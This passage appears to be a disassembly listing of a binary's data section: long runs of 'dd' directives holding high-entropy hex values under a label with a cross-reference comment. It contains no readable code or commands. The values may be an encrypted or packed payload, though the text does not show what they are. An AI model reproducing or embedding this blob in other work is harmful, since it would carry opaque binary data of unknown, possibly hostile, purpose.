		dd 8E75C5A2h, 5F29B93Dh, 138475FBh, 0FB6EC797h,	0B3248064h
		dd 0FF869FFh, 0F27C2BFFh, 9721B175h, 5CC57026h,	0EE9012B2h
		dd 0D608CF6Ah, 64E96D24h, 2D8438DEh, 0CA50DA62h, 0A00D6918h
		dd 0C648D43Ah, 4EB4096Eh, 0B7F175FCh, 0DA5CB800h, 2C9C2066h
		dd 5FE458B3h, 0DE30876Bh, 36B4C96Bh, 57E171B5h,	8B1CA5E9h
		dd 3F62B05Ah, 7BEC28BBh, 963C98D3h, 0F921D51Fh,	6FA314AEh
		dd 0C9503FEDh, 0B72AF87Dh, 7CF47233h, 0D4AA3988h, 0F628E46Ah
		dd 66DC470Fh, 2CA31DDBh, 0AB6CF24Ah, 76F8A17Fh,	5A831E5h
		dd 0C777E2A8h, 55659537h, 10A759FFh, 0EF78E48Ah, 9711A456h
		dd 4AF447E5h, 89CFC90h,	71C24A83h, 0CE2297E2h, 196AE26Bh
		dd 5DA2F8Ah, 0B014AEB1h, 0CE01C024h, 4FB62F99h,	0F46A5FCCh
		dd 0C675FD3Dh, 1A941727h, 0BFC959DDh, 0E47D880Eh, 16A82A4Ah
		dd 3EE06792h, 0CC018518h, 72DCA076h, 528815FAh,	0EB74C894h
		dd 4316D00Bh, 1B8C68DCh, 0E750C197h, 0B7079B43h, 3C165C7h
		dd 0D3190992h, 822CB55Dh, 59D46D31h, 0F3A31694h, 8049D963h
		dd 57E97A0Ah, 12A038D6h, 0CA56CF67h, 92107E08h,	0FE44FE36h
		dd 3A9F6462h, 8FEF74FAh, 0C479A81Ch, 2E941E6Ah,	6DE453B2h
		dd 0CF3EAF3Fh, 3297AC51h, 53E86AB0h, 8737A1D3h,	1425D577h
		dd 73FB3FBBh, 0B238BCC2h, 0DB42FB05h, 44F513B8h, 0C34B0FEBh
		dd 82088C72h, 6BF24B35h, 0C2802388h, 0B51DD22Fh, 76DC4D31h
		dd 3DA427F2h, 847AE95Fh, 4BEDA27Fh, 1B9B28D2h, 0C87EF382h
		dd 6E069508h, 56A753E6h, 0D252FCADh, 9727BA52h,	4B545E7h
		dd 389C3ABh, 7DDF68BDh,	0BD2281E4h, 1F6EFF6Fh, 42E75C81h
		dd 0B6129AD3h, 0C875D732h
		dd 5FA13282h, 0A31440DEh, 0CB7FF71Eh, 39850A27h, 0BFD159E9h
		dd 0E27B9519h, 2FB12956h, 4CCE7992h, 0FE27E032h, 4FD79973h
		dd 378917F0h, 0E763D094h, 5511B715h, 1F9A72EEh,	0EB4FDC90h
		dd 89419379h, 1EC641F8h, 0F36D1E9Eh, 9E2ED843h,	5DD47708h
		dd 0FF8E13B4h, 0B92ABC7Bh, 41F8660Dh, 1B8654C3h, 0B95AC87Fh
		dd 88006E2Bh, 9248D532h, 38B20175h, 94E063BBh, 0D95ADC0Bh
		dd 36980360h, 6AEF7DD7h, 0CF3BB20Eh, 29B5EF4Bh,	53C57D80h
		dd 8B1DA0C9h, 2E4BF91Bh, 73E70EAAh, 96388FD7h, 0D04FFB34h
		dd 6F8103AEh, 0C74D1FFBh, 9B6D9D67h, 7CF45029h,	0F5B13595h
		dd 0B707F95Fh, 76D36143h, 3BAF06F2h, 8F65CF5Fh,	6AEBB911h
		dd 1C8458F2h, 0C043E193h, 7F37843Eh, 3F8F58EEh,	0E31DED8Fh
		dd 0AE208273h, 648713C2h, 66B5C09Bh, 51CA5D81h,	0AB228BEBh
		dd 7A7CF570h, 79CE39BDh, 89138DF3h, 0E644CD32h,	4F8740AAh
		dd 0A32C7DD8h, 0D35BE101h, 2B94314Bh, 88A571E3h, 0F35A9B2Ah
		dd 0EBC1E57h, 46E47182h, 63F6E00Ah, 7771E71Ah, 52ED78FBh
		dd 0AA5D292Fh, 5045BA78h, 25B94DAAh, 4EB6ADA9h,	8E957F47h
		dd 3BD56AFFh, 13E63FADh, 0F20DEDC3h, 0D1BDC0E4h, 0DAD0844Eh
		dd 0DE8D3F0Fh, 0A7105FA0h, 7EA14106h, 0A0655F38h, 1977665Fh
		dd 0D2181CC6h, 4111E107h, 0FA85803Fh, 78418C6Fh, 0C9FD686Ah
		dd 95815E03h, 0C215AAA7h, 46C9AC3Fh, 58DF1A99h,	87BFACA7h
		dd 5A4FB01Bh, 0E9D92F9Eh, 0A2682C36h, 4178CB77h, 4AC05C5Eh
		dd 0D2C6C99Fh, 5AE0734Fh, 0ED916452h, 0BA50DDF7h, 0F569DC3Fh
		dd 0FDEE7F92h, 8A44FF45h, 6715C01Eh, 6BA78F0h, 8D99B0B3h
		dd 2BBA7B18h, 1A25C5B3h, 7528B302h, 0E1F588E3h,	759E2BC8h
		dd 0A80F80Eh, 8E7601DFh, 0FAAD38F0h, 31AE1BB5h,	4FD915B0h
		dd 0F62C5CAFh, 4DF0E3F7h, 9E0197A2h, 0D52A5D03h, 999EA740h
		dd 0B2E5CDB0h, 33F14427h, 0C0B1DD1Ah, 5F3AFC0Fh, 7F73CDAEh
		dd 6AF014B7h, 0DB25B11Ah, 4A2C334Eh, 0D5ED38A6h, 1BEE80C3h
		dd 3A05E547h, 76EDDEF2h, 823D4096h, 5F1CF417h, 2A8F4346h
		dd 0BE606FFh, 0B257D6A6h, 0E3E35467h, 0B0E554FBh, 0DA8D3F0Fh
		dd 7618CF05h, 0B3E114ADh, 9CB0672Bh, 0C2794C45h, 0CF2D9253h
		dd 24D00EC4h, 5B6EFBAh,	0A3D6D81Ch, 0B289A886h,	1E813FBFh
		dd 0F1854B6Bh, 0CBE5FC3Ch, 72976A46h, 0E2CB4FA7h, 0D125B01Ah
		dd 16887445h, 0C9A5CBA3h, 75AAF4BCh, 7E94C638h,	53DB0B9Ah
		dd 15EE3AF8h, 0DA1A7348h, 0EA09DBA8h, 0A729F67Bh, 0FD424211h
		dd 1EF48402h, 0E6D1032Bh, 33ED79F4h, 0A5E658F3h, 69366E64h
		dd 0F2659A5Ch, 559EB58Fh, 0FA07E220h, 0FE61DDDFh, 2BF7AD8Bh
		dd 13307275h, 87C4FB23h, 0CE11D2C1h, 720D143Eh,	703CD5ADh
		dd 357DA8B5h, 765477B5h, 2AD540EBh, 0CFB4ADE2h,	390DD868h
		dd 2EC70EBAh, 0FED9B39Bh, 1206FC47h, 62DD489Ah,	3CA9F876h
		dd 0E221E04Bh, 26B9CD1Bh, 677DED6Ch, 729AA487h,	3E6154F6h
		dd 26E91CAEh, 86D5A8A9h, 8841F417h, 3D9554F9h, 0B395F900h
		dd 3B7ED873h, 2FB593EAh, 0CBB470DBh, 0BC18BE65h, 229D6062h
		dd 81B314B7h, 8A00FC9Eh, 10FC9A5Fh, 0C67DE327h,	4ED0606Fh
		dd 4E7A47BBh, 0B62BFC4Bh, 6A689703h, 478174E1h,	0BC2100EEh
		dd 0CD89B8DCh, 608D7227h, 112793F6h, 1A107C8Eh,	0D60C25CFh
		dd 1D0B18D6h, 0FE14A8E2h, 4EA2EDCBh, 0E2531BCDh, 0D6FA754Bh
		dd 0A5912446h, 0AAAF90C8h, 0A6C26F76h, 52ED7813h, 0A19324C7h
		dd 0AA20E4BEh, 0E5D6D7Fh, 8DCD58B1h, 5139A093h,	5A53E8CEh
		dd 0C3366F8Fh, 0A25DBEFBh, 0FE65166Ah, 3FBF1E0Bh, 0EB72CADEh
		dd 12ED2D57h, 5BDCFD64h, 7A45803Bh, 0C9FF8DECh,	0CDBD6C51h
		dd 9E00ABDFh, 3A514FEBh, 46592CBEh, 0A278A24Dh,	6ECFC461h
		dd 0DBA4B494h, 0A889FC4Fh, 242C3D03h, 77F12A76h, 0C800A705h
		dd 607F0394h, 9CC63792h, 0DF11CE96h, 0AFBA832Dh, 76A92ABFh
		dd 8DFC939Ah, 0DE412B92h, 0C8108DABh, 0EC192CE2h, 0F241B033h
		dd 7DE10467h, 0ACF5E524h, 0DA74BC4Fh, 2D9D0863h, 7EE1EB32h
		dd 0CA84490Bh, 0D8F80C5Fh, 0C464EA03h, 4E74E108h, 3C0610BBh
		dd 0BB157067h, 4264EC0Ch, 3EBD34D7h, 96F9331Eh,	0CA5CA305h
		dd 9F8D18F3h, 0CE51E4AAh, 3D048D3Bh, 69FC08AAh,	977DF40Fh
		dd 415F150Bh, 7E8108EBh, 0D8B83DEAh, 0FD578810h, 0C8F95168h
		dd 0B5C5AFBCh, 0D179261Eh, 0E04A2843h, 0E2548BC5h, 0D915C01Eh
		dd 56C9BCBFh, 72C4B0E3h, 0C17584E7h, 75099E2Ch,	0A9C958EEh
		dd 0E22BA876h, 8AA15137h, 0C37C13BDh, 26CFC65Ah, 12C569D3h
		dd 9FD1E485h, 8555C66Ah, 769F787Ah, 0C1E86583h,	0CE01F44Ch
		dd 7B8189D8h, 97087EEFh, 87610D8Ch, 6A764467h, 0E630CFBFh
		dd 6E09BC7Ah, 1550C8E0h, 3FA154E2h, 0C52623B2h,	67EE9859h
		dd 1FB13DC1h, 0E163C7AEh, 4E23BF08h, 18804BF3h,	0F14AC7A7h
		dd 0AC34B74Bh, 1EFB65D9h, 0F56B09A9h, 0AE23B75Ah, 42C17C22h
		dd 0E88002B4h, 0A428E80Fh, 6AE96D04h, 7E9527D8h, 3ACAA009h
		dd 6C33F307h, 0EA42CA23h, 27FF096Eh, 9BE273C9h,	0CF51BD03h
		dd 4291182Dh, 55C27D99h, 0CB2DA84Bh, 2DBBC359h,	61D8129Fh
		dd 9B5196E2h, 6F15822Bh, 38A94DFFh, 0D87DE683h,	0F76EDE5Ah
		dd 7CD34085h, 0D34D3EF6h, 0D285AD19h, 53912447h, 0A771BD7Ah
		dd 73AF9C6Fh, 2FD3D34h,	0CA548B97h, 2B15C01Eh, 3AEDF397h
		dd 0C74646D9h, 0AE71B1B7h, 34595C02h, 0D7AF16FAh, 0D70077DDh
		dd 0BEDC5914h, 0C1B560BDh, 0C3AE8EA9h, 97209DB5h, 0CE11D7EDh
		dd 499515B4h, 0BF535CAFh, 8CF112C5h, 9FB04FA9h,	693E8F09h
		dd 0D3E8A932h, 0D85D9833h, 91FF2E27h, 9A90940Eh, 0B2757F4Fh
		dd 49A84C2Bh, 3EA1101Fh, 0C933B34Bh, 0AE2C331Fh, 0BAED38A6h
		dd 71EE588Fh, 3A45D793h, 35AF4FAFh, 826EE79Ch, 0EBC961E8h
		dd 5B7D00EBh, 6EE69303h, 0DB22B65h, 3DB28998h, 910D709Bh
		dd 8349BC0Fh, 11CF4D30h, 32A57A85h, 5FCAA047h, 0E63939C3h
		dd 922DB2BBh, 3EA21307h, 8EEB79C9h, 0E6299D09h,	77B5FDFCh
		dd 9B083497h, 0AA15F53Fh, 0CB549D30h, 32CD0013h, 0D837412Eh
		dd 0A574B05Bh, 56BCE05Ah, 0E6355BA3h, 33219477h, 4AED8D7Eh
		dd 1BB4159Fh, 0D22DCE3Fh, 0F167F2AFh, 3F023604h, 0F6298148h
		dd 0A73ED8BCh, 5E8169FEh, 0CD800D2Bh, 5699AC62h, 18CC32E7h
		dd 0AC59D6E7h
dword_43005C	dd 0E5E5F05Bh, 16FF0C1Ah, 0F8DD0DE3h, 73ECF642h, 4AF53DD1h
					; DATA XREF: .data:0041A720o
		dd 0EBFFE68Dh, 52B05F66h, 9E07B087h, 8557C16Bh,	769F687Ah
		dd 5782B083h, 9E41827Bh, 1298C52Dh, 2E592CFFh, 0B20D987Fh
		dd 2DBE1770h, 0F49703D0h, 9645B00Bh, 5741DDDCh,	563214B7h
		dd 8A75E04Ch, 3EFD7992h, 0DFB478D3h, 0CE24587Ah, 0CC14387Bh
		dd 7A01E350h, 0D53DA8C3h, 9008BA5Eh, 2EBB54EEh,	791920B3h
		dd 0B27844A6h, 21718167h, 9AE4975Fh, 0D3212F0Fh, 0AF9D0863h
		dd 3EF9D602h, 77B8F90Bh, 0E6393A47h, 6DDBA2BBh,	526CE7F8h
		dd 0FA85508Dh, 0B7EB5860h, 0AE7C6803h, 1E813547h, 0AB54A83Fh
		dd 0D326AC3Fh, 32CD2D0Fh, 0EFE10026h, 0D175B01Bh, 4489161Bh
		dd 0D4415D5Ch, 7EA49437h, 62F81592h, 0A6395F17h, 0E7D16DECh
		dd 0EC7A2407h, 0A7ACED78h, 83699C6Fh, 6F38A56Ah, 0EC1348Ah
		dd 0DC1D15D4h, 0C61CEC3Fh, 73F6DCBCh, 0EEBA84E7h, 0E5657B57h
		dd 3F4CB3BFh, 641DC8FEh, 0BE5999B2h, 4ADF218Bh,	64938DB5h
		dd 24B9AD2Ch, 36D2E4C7h, 68819FC4h, 0A5A95CEEh,	0DF187D0Eh
		dd 8E6BB417h, 0BF2A13B9h, 0C6191ABBh, 370258F6h, 6EF144D5h
		dd 0C7238D16h, 9EB8FC0Fh, 9D27F4CBh, 3E357C08h,	0A12BE04Bh
		dd 28D45F9h, 0CA7887C7h, 311E4F2h, 7A5844C6h, 9EE8ADAFh
		dd 7DC2525Eh, 0CE65B09Ch, 619DE06Ah, 471D48BBh,	0B646D0D3h
		dd 0C6E10C43h, 9AE570DEh, 0AE7F922Ah, 0B7625F63h, 7EA161E3h
		dd 0C396488h, 6B590A18h, 0D23039C6h, 26D10E07h,	0FA85109Ah
		dd 23D68F3Dh, 42BD5E13h, 0AA5485Ah, 0F2C03F3Ch,	80D9EC0Ah
		dd 728720F7h, 0B921C4CDh, 4AB04F48h, 15893CF9h,	40E04545h
		dd 0D421D46Ah, 0AF908CBh, 0F56E4C9Fh, 0E47D6DECh, 2AC2407h
		dd 0CFC550FBh, 0B8DC1162h, 8FBD6875h, 1EF9391Ah, 80DBAB2Bh
		dd 55CFBD7Fh, 44C1CD4Ch, 56B284A7h, 8B4A8E5Bh, 0E344C204h
		dd 0A25DBEADh, 5093D987h, 0A2D530FEh, 99067627h, 0F1BA4AB2h
		dd 0CF26698Eh, 0B58E7AD0h, 8B2492C4h, 0C23DDECDh, 698610A4h
		dd 0D586F900h, 866F2C2Ah, 0C5B01873h, 6FF10432h, 0EACD1AEFh
		dd 6909FC3Ah, 22E8F4B6h, 731C94F7h, 8A75A073h, 0A37EDD6Bh
		dd 52AD65FAh, 8E11A4C7h, 20855BDh, 9FE91CEFh, 7DC25695h
		dd 0CBC171D0h, 6A9500EBh, 4444ECFFh, 0F840D837h, 41DF2428h
		dd 0F5C51EB4h, 0BF259C69h, 2BC6D05h, 179574F8h,	0BE15C566h
		dd 831A2C30h, 0E04FDD3Fh, 6FB41066h, 0DAA51AB6h, 0F909FC4Fh
		dd 2F881B23h, 3EF351BAh, 0CE27A10Ch, 4BF8C25Ah,	5EE84AF9h
		dd 8205AAC2h, 3656C37Eh, 77E15CB6h, 0C224B8D3h,	9E45FA16h
		dd 6F8518AEh, 0C85838FCh, 0A14DD467h, 6AFF4533h, 80A23E92h
		dd 0FC64B10Fh, 61C94914h, 39AF1DFFh, 8679E10Bh,	7FF8885Fh
		dd 16A33993h, 0C958EAC7h, 3A498433h, 76BB53E9h,	0C774FA85h
		dd 0DE12B059h, 2BC200C2h, 6BC3F8B6h, 77C56FD9h,	0AF7181F5h
		dd 325F549h, 16852980h,	0A7149AE5h, 0A172D039h,	47BA03CBh
		dd 8F790DDAh, 0C164B807h, 3983007h, 938511FEh, 0B67ADB3Bh
		dd 7A9294Fh, 17AB19D6h,	6765465Fh, 6EF61866h, 41AD4FC1h
		dd 6B0102D3h, 6D626181h, 72D3B7F6h, 0E80D6F47h,	47219AEEh
		dd 0A24E8520h, 0C18AE6CEh, 8C2F419Eh, 72AB77A6h, 0C8271C17h
		dd 589104BCh, 22721E7Bh, 7EE154B7h, 0CA35A00Bh,	0E6790C5Fh
		dd 922DB853h, 4ED16407h, 0FA8510BBh, 0B629DC6Fh, 42FD6803h
		dd 1E8134D7h, 0AA55C06Bh, 46D9AC3Fh, 328D18F3h,	0EE71C4A7h
		dd 5A25B01Bh, 16897CCFh, 0E25DC8A3h, 0DE219477h, 3353C548h
		dd 25394CDFh, 925452B6h, 0B99E2447h, 0E94844B8h, 0BDDE9337h
		dd 896D2B45h, 75E550D3h, 0F3678C69h, 7591AE44h,	668FD3A7h
		dd 273DC6CCh, 5A5C56CEh, 0FC4CB58Fh, 491DC8DAh,	0D6A35732h
		dd 88D4F969h, 0E3718CDBh, 12ED1A24h, 0CE51806Fh, 7A1AF83Bh
		dd 0B3245CEFh, 0C23DCAA7h, 0EA198D0Eh, 2E15C3E7h, 43A6DB5Dh
		dd 0B24DA1FDh, 6D28B3E4h, 9A87C716h, 69191F4Fh,	6252B453h
		dd 0DCA5FC74h, 0AEE869BDh, 0A5B98C3Dh, 579978A9h, 0FC1296ECh
		dd 0C60B5D6Bh, 0F5B747F7h, 8649A8F9h, 0DDAAC6E8h, 82857254h
		dd 79E693A8h, 7F661618h, 2EF13DCDh, 0AEAE7383h,	44CC33CCh
		dd 0E59D485Ah, 3ED8DA32h, 0CA35A00Bh, 0E645E45Fh, 17A6B853h
		dd 4E915D89h, 5726553h,	0B6313490h, 0FF7E6803h,	1EC10D59h
		dd 235DB56Bh, 6FB0CA2h,	0CD11F3F3h, 0AE484A2Ah,	0DFAA731Bh
		dd 16C9455Dh, 0DBD35D2Ah, 0BDC99437h, 39F560CBh, 35B28F56h
		dd 0D26DF893h, 0F07CCC15h, 2FC6AF04h, 0F629A585h, 783EFE40h
		dd 0DACE749Bh, 0EA15812Ch, 68996FCh, 7230DCBCh,	0ECBA84E7h
		dd 0D28DA057h, 5536C371h, 0E2242266h, 0AEA7D737h, 0B3352801h
		dd 0E6E0F8DFh, 11D9162Ah, 45A00FC7h, 9B849173h,	0E9768330h
		dd 8E391102h, 7274B41Bh, 0A91D6BB2h, 4956D646h,	0B20D98C4h
		dd 9089C541h, 5FAA02A8h, 9609FCE4h, 62E7CB75h, 742A1182h
		dd 1770B5Bh, 7748CF15h,	0AD130A7Bh, 24A4A738h, 97459042h
		dd 8D91DC2Ah, 82B92CCCh, 6BBEF417h, 6AD53901h, 784C84AFh
		dd 774E27CCh, 2EF13DCDh, 0A34FF554h, 0D24ABC4Fh, 0E21E5B47h
		dd 713A67B5h, 0D8D6A8BDh, 0B559C5DFh, 96099C92h, 67F5782Eh
		dd 0BADE34B7h, 4DA83584h, 9F46BF0Ch, 0E5000AA3h, 713B85C3h
		dd 0BD589A4Bh, 0CD2C23AAh, 15F0EAD3h, 0F69092CDh, 0ED085ABBh
		dd 11052130h, 45A08A03h, 0F9AD89B6h, 5DB85AEBh,	3348C755h
		dd 0F5102A33h, 5BE06FCBh, 63969A5Bh, 2FD11D1h, 0A1B09DCCh
		dd 694B7FD4h, 0E970F8BDh, 0B132A74Dh, 0F635EEE5h, 0E593E5B3h
		dd 875CB470h, 0C41DC8C7h, 0FC79E58Fh, 4951E069h, 0CD9F6EDDh
		dd 0FAF53EB9h, 31AE117Dh, 0FD0D52B8h, 6EAC363Eh, 3D88056Bh
		dd 9DFB34A8h, 7A654B98h, 0E288A9BDh, 59A79833h,	36992E00h
		dd 0D95FB031h, 87B9E43Ah, 9D2885CBh, 3EA0AC08h,	58F1E04Bh
		dd 0C668C16Bh, 0A406B26Dh, 8EA9A12Ch, 91C5D07Bh, 0FB2AA34Dh
		dd 0C209947Eh, 0EFC40317h, 6A95409Fh, 0F2996CFFh, 582D6830h
		dd 1A808190h, 9AE6709Bh, 5246BD0Fh, 229D0895h, 926A010Fh
		dd 439E0BE3h, 0A6409AE2h, 38C50853h, 7F5493ACh,	0FA85508Fh
		dd 3F28DC6Fh, 2C4F2BEh,	0E9CA40D7h, 0EA61F1EEh,	46D9AC3Fh
		dd 56EAA0F1h, 0EB04F258h, 0D141D7A3h, 0AEEFD7E1h, 493BC8A3h
		dd 0E3919703h, 3B709761h, 0A6390CABh, 6A65F813h, 0E9949CAh
		dd 3F32468Eh, 0F629A81Eh, 6BD2843h, 5604F72Fh, 5210F42Bh
		dd 66101FCh, 0F73A1718h, 0AE71B0D6h, 1A65F058h,	0BF7938FBh
		dd 27962349h, 0FE21EDA1h, 829EEF00h, 9105C456h,	52990956h
		dd 0CE51E787h, 0C25AE43Bh, 563888h, 0FBE3550Ah,	26AAB417h
		dd 4EB240EBh, 0E0D09414h, 5AA69873h, 910EBA9Ah,	154D102Bh
		dd 75F603B3h, 9D652E1Ah, 0AF0A72E2h, 0BBE06BE0h, 0D1B98C2Bh
		dd 512F8F41h, 0FB11A4C7h, 0C4D2386Fh, 6959E350h, 7DC1012Bh
		dd 21F992E8h, 0FB3E66BEh, 0DD6E754h, 0B27446B6h, 0A7792F67h
		dd 1F128C93h, 0D609883Eh, 229D0867h, 575946C3h,	61FD5ECBh
		dd 92B904E7h, 0E7951357h, 0E5B68FFFh, 0CEB4954Ch, 0B621DC2Fh
		dd 8886803h, 2AAE8957h,	0DE55C02Bh, 5EF0147Eh, 9787D1DAh
		dd 0EE31F08Ch, 502654DBh, 56BD576Ah, 53ED63A3h,	91A41EDDh
		dd 0A0F520FFh, 23330C2Fh, 0D22DCC38h, 0EC2942EDh, 8B40A706h
		dd 0E669DC1Bh, 76BD2843h, 0F488C490h, 1660384Dh, 0EE294719h
		dd 0D90D6B19h, 97B3396Eh
		dd 9F92F01Bh, 568908BEh, 0A21D88C3h, 0A6D1DD42h, 7E9CA581h
		dd 538C9Fh, 0E56DB96Bh,	8E65D502h, 7A05D03Bh, 0B6AA28EFh
		dd 6777C047h, 9E41807Eh, 975CEB8Dh, 0C6191539h,	83886FD8h
		dd 6EF10413h, 0AFE5309Bh, 94594C46h, 22E961A6h,	0BB56BEF7h
		dd 8A35D47Ah, 26B9CC9Fh, 0EA5D73E6h, 0BA3B21CDh, 0D1EFD03Bh
		dd 47517A92h, 0B3B85FDBh, 0DE41B423h, 1E9500AAh, 8C30DCFDh
		dd 0B279F296h, 2D55C467h, 0AECFD5D1h, 7D2FBC4Fh, 0D21CB005h
		dd 4AD0D140h, 0C835A04Bh, 0E40C0C5Fh, 372770E7h, 4E91502Dh
		dd 470CBBDDh, 0B669E5CDh, 42D954BBh, 9B769FD7h,	0AA15F45Ah
		dd 46D9AC37h, 0B77A7487h, 0EE31F096h, 5A25B41Bh, 0AE3977BAh
		dd 0D6764DA9h, 558B9437h, 3B709786h, 0A6390CABh, 0A76DF81Bh
		dd 8D294256h, 91605A1Bh, 9069DC1Bh, 0A87D1BE8h,	0E6A7617Ch
		dd 4F1F9802h, 6D9D854h,	78CEBC73h, 0EE05AF42h, 0EDCE965Bh
		dd 16FD0D0Ah, 0A20D88E3h, 7FD9B237h, 0CAB6544Bh, 0C3F3841Bh
		dd 12ED0CF8h, 785E4FE1h, 3A31BFBEh, 0B35EF7EFh,	0C23DDCB2h
		dd 0DE01B457h, 7A65499Fh, 0F270A9BDh, 45A79833h, 2EC575A2h
		dd 0DA85309Bh, 0E38F4C4Fh, 0EFD94C21h, 9B2BEAB8h, 8A35D462h
		dd 1F334196h, 0F98B78D3h, 0FB145847h, 0BA45607Ch, 0DCA9E3E0h
		dd 0B60C2D34h, 9E41F457h, 0D2F300ABh, 846C5D99h, 592BF187h
		dd 0ABBB1CD7h, 9AA544F0h, 7C4A5CCFh, 0A76A80D3h, 7EA16086h
		dd 0CA35200Bh, 60C90E2Ah, 0A6041DD9h, 0E5B76447h, 8F80EC3Bh
		dd 36296C68h, 0E8BD974Ch, 2AB0B120h, 0AA55C02Bh, 4DACAC3Eh
		dd 0B7875843h, 0EE31F08Eh, 3C2A5BB1h, 1C49FF77h, 0A269E106h
		dd 0E8AF277h, 8F02CACAh, 0A67978AEh, 0D26FF813h, 8B660B32h
		dd 0BA8564CAh, 0F66D9C2Fh, 0C20D3236h, 6AEAF19Dh, 4F9F806Bh
		dd 6D9D84Fh, 14DDB872h,	5B0E25Fh, 128EF0EBh, 0D3C37C3Fh
		dd 0A25DBCC8h, 0CFE4239Dh, 4AB560BFh, 13F984DFh, 91155EC3h
		dd 0E4F4EE6Fh, 1C05D00Fh, 0DDA8EC44h, 0C835588Bh, 0DE359ED2h
		dd 0AF22EAEBh, 0C619188Eh, 0B21D9873h, 4B843196h, 222688FDh
		dd 0A2235945h, 0C9BB4863h, 170BD4C4h, 0CA4C6AF6h, 173C3B1Fh
		dd 52ED38A7h, 0FB1184C7h, 0D1326164h, 7F517AB4h, 0A898A2DBh
		dd 1E41B423h, 0CF9F034Fh, 865958D5h, 4F647355h,	2EF13DEDh
		dd 3F6FB151h, 0D6098585h, 7A2DA305h, 4AC8D1B5h,	3D9FA04Bh
		dd 0A64D3DDAh, 922DBB53h, 0C9556B06h, 428510BBh, 90A2B808h
		dd 76CCE588h, 0EF003497h, 0A855C06Bh, 46D96DC8h, 37F81BF3h
		dd 6915A31Fh, 5A9D1B35h, 70897CCFh, 845BBD08h, 0D8C41FCFh
		dd 6D91D860h, 95924A10h, 25C69ED3h, 4EA515C2h, 0BAC550FBh
		dd 129E92Eh, 428919C6h,	5EC17497h, 8C33F423h, 0F1F561C7h
		dd 32F96936h, 0AE3184E7h, 0DBF0FF59h, 0FDAFDD85h, 0AA684167h
		dd 0FA456C51h, 595E8BEDh, 8D53846Fh, 4A155EDDh,	0E5D4E6DAh
		dd 1C05D00Fh, 86AAB744h, 478A424Ah, 9E418066h, 0AAD540EBh
		dd 0C1E90CCBh, 86241D59h, 8E304467h, 0D22C3D81h, 330BFC6Bh
		dd 629D7C0Ah, 0BEA2F037h, 3ADEE48Fh, 9EDF667Eh,	0F7E7986Ch
		dd 8E5190EEh, 0BFB27B1Dh, 76A9289Eh, 823DA8E3h,	5BB6A763h
		dd 6AD5349Ah, 0A6196CFFh, 35BAD547h, 2EB10464h,	0A5575AFh
		dd 5DBA57A5h, 0A01083A4h, 55E1148Eh, 367429CAh,	637354EFh
		dd 926D8C7Ah, 7F5493ADh, 0FA85508Fh, 0C2299C6Fh, 12450E0Fh
		dd 37043E14h, 4155805Fh, 0B961CA35h, 1B281213h,	88718493h
		dd 6BA047B0h, 15893CFBh, 965CC8A3h, 8FA46304h, 0AF520FFh
		dd 0D2194C9Fh, 0D1AA0F1Eh, 7A912447h, 1055E0FEh, 39E26FC4h
		dd 3B27ADC8h, 96EA74D7h, 0D9E9C8A2h, 371C1BB6h,	72CD1887h
		dd 0DB3104E7h, 33E07D55h, 0DCC97CBBh, 5B9DC8EBh, 7399A734h
		dd 6EF1ED8Fh, 86388CCFh, 0B92688DBh, 7637E264h,	0D163500Ah
		dd 0B626E489h, 0C27D50EBh, 0F8E0B657h, 0AF7E1840h, 0A05F5976h
		dd 0D4CDA9CBh, 0C432F48Ch, 0EE99B516h, 13FEFC0Fh, 629D7C12h
		dd 2EA114F7h, 0A122E63Eh, 3F5294E7h, 79C52B18h,	5C18F3Fh
		dd 7A7C72F6h, 0F47C1DAFh, 833DE8FAh, 0FA057F2Eh, 72889AFh
		dd 0D192CEFh, 0B2745E8Eh, 0AC342F67h, 6DE530E2h, 967D8D8Ah
		dd 229D4863h, 89E320B7h, 0CEF70BD3h, 652E5A5Fh,	0D21416EEh
		dd 0CADE6407h, 0FA851162h, 0B629D187h, 10B82303h, 2DCD7199h
		dd 0E611EE59h, 0D326AC73h, 32CD2D7Bh, 0D7CF412Eh, 0D176B05Bh
		dd 0CE8A4097h, 6975BB5Ch, 42C9A034h, 810A9F3Dh,	0E600EA0Ah
		dd 906EA313h, 0CC14AD4Bh, 0B9C510C2h, 73E0946Dh, 2FD1185h
		dd 0A1E9071Ch, 0EA150098h, 0F04C047Fh, 0CF46A74Ch, 0AE71BD41h
		dd 0ECAC180Dh, 0C342C370h, 0A25DB145h, 0FD699EBCh, 849E2CC1h
		dd 69FC655Ch, 12AC585Bh, 94D5EB87h, 7905903Ah, 7690F65Ah
		dd 0B0C8EB83h, 3201F46Eh, 0AFDAA8D7h, 0C6592C1Dh, 9909DEFEh
		dd 2EC836A2h, 8AA3339Bh, 69FF7AA7h, 0C460CBDCh,	3EA154CEh
		dd 0CD4EEB3Eh, 3D3AC313h, 0B9ED7892h, 28849DCBh, 35459042h
		dd 76E8112Ah, 0F0B8ABC3h, 0B841B42Eh, 4F6A382Ah, 86E5E9F0h
		dd 0B2C6D833h, 1AF22F65h, 6CAC988Bh, 6B7043F0h,	22DD31C5h
		dd 7E05D1B8h, 4F36A00Bh, 0E63935F5h, 0AB5F3D50h, 4E5A6447h
		dd 0F5895790h, 0B62911EDh, 4ABA5303h, 1E45B7D8h, 6AD6C06Bh
		dd 529EAF3Dh, 0BFF9DF0h, 0BE23C4E7h, 639B05E4h,	83767C8Fh
		dd 0E21DFDEBh, 0B1E1112Dh, 0AF5D74Eh, 0A6A5A59Fh, 2D51F813h
		dd 0E05A148h, 844550FBh, 7DEC933Ah, 89BD2843h, 1DEA75D1h
		dd 32FDD01Fh, 3F66138Ah, 32F4FE0Eh, 0AD46F1E7h,	5A5C5ADEh
		dd 244C3F8Fh, 2B1DC8DAh, 0BE581EB2h, 71B5AB8Bh,	26C04E5Ah
		dd 29A54AD3h, 8E682202h, 476CE23Bh, 46A95CEFh, 0DD95DFF1h
		dd 1301B457h, 0EB5EBCA5h, 845A2E94h, 7888A363h,	1BF1041Eh
		dd 0CA61B397h, 0D286CDB0h, 89BC5407h, 0BB2ED7ECh, 8A35D9D9h
		dd 540C477Fh, 0BAED38AAh, 71EE52B1h, 3A45791Ah,	789C9CAFh
		dd 0F031EFE8h, 0D606CF1Eh, 95A982A4h, 89509300h, 0DB36AB6h
		dd 0A8D8F98h, 0BED4D75Ah, 29B6BC0Fh, 1E76779Ch,	1EC51E36h
		dd 84D5A00Bh, 0EAF2CC6Ch, 3CA83F77h, 0C3D1243Eh, 0FAA12502h
		dd 0C4ACDF6Fh, 24FD283Ah, 35CF9172h, 0BE17C3ADh, 80D5EE14h
		dd 0F565E3B5h, 0EE719626h, 5A25B51Bh, 0EACFF5CFh, 6F9E96FCh
